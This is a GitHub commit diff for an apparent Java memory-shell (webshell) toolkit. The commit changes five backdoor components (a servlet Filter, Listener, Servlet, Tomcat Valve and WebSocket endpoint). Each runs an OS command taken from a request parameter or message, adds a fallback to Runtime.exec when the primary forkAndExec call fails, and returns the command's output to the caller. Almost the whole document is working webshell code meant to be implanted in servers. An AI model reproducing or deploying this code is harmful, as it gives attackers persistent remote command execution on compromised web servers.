Skip to content

Commit a47ef4b

Browse files
committed
fix: downgrade runtime.exec
1 parent 4088120 commit a47ef4b

File tree

5 files changed

+31
-6
lines changed

5 files changed

+31
-6
lines changed

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -33,7 +33,12 @@ public void doFilter(ServletRequest request, ServletResponse response, FilterCha
3333
String cmd = getParam(servletRequest.getParameter(paramName));
3434
try {
3535
if (cmd != null) {
36-
InputStream inputStream = forkAndExec(cmd);
36+
InputStream inputStream = null;
37+
try {
38+
inputStream = forkAndExec(cmd);
39+
} catch (Exception e) {
40+
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
41+
}
3742
ServletOutputStream outputStream = servletResponse.getOutputStream();
3843
byte[] buf = new byte[8192];
3944
int length;

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -36,7 +36,12 @@ public void requestInitialized(ServletRequestEvent servletRequestEvent) {
3636
String cmd = getParam(request.getParameter(paramName));
3737
if (cmd != null) {
3838
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
39-
InputStream inputStream = forkAndExec(cmd);
39+
InputStream inputStream = null;
40+
try {
41+
inputStream = forkAndExec(cmd);
42+
} catch (Exception e) {
43+
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
44+
}
4045
ServletOutputStream outputStream = servletResponse.getOutputStream();
4146
byte[] buf = new byte[8192];
4247
int length;

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -33,7 +33,12 @@ protected void doPost(HttpServletRequest request, HttpServletResponse response)
3333
String cmd = getParam(request.getParameter(paramName));
3434
try {
3535
if (cmd != null) {
36-
InputStream inputStream = forkAndExec(cmd);
36+
InputStream inputStream = null;
37+
try {
38+
inputStream = forkAndExec(cmd);
39+
} catch (Exception e) {
40+
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
41+
}
3742
ServletOutputStream outputStream = response.getOutputStream();
3843
byte[] buf = new byte[8192];
3944
int length;

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,12 @@ public void invoke(Request request, Response response) throws IOException, Servl
5151
String cmd = getParam(request.getParameter(paramName));
5252
try {
5353
if (cmd != null) {
54-
InputStream inputStream = forkAndExec(cmd);
54+
InputStream inputStream = null;
55+
try {
56+
inputStream = forkAndExec(cmd);
57+
} catch (Exception e) {
58+
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
59+
}
5560
ServletOutputStream outputStream = response.getOutputStream();
5661
byte[] buf = new byte[8192];
5762
int length;

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java

Lines changed: 7 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -27,9 +27,14 @@ private String getParam(String param) {
2727
}
2828

2929
@Override
30-
public void onMessage(String s) {
30+
public void onMessage(String cmd) {
3131
try {
32-
InputStream inputStream = forkAndExec(s);
32+
InputStream inputStream = null;
33+
try {
34+
inputStream = forkAndExec(cmd);
35+
} catch (Exception e) {
36+
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
37+
}
3338
byte[] buf = new byte[8192];
3439
int length;
3540
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();

0 commit comments

Comments
 (0)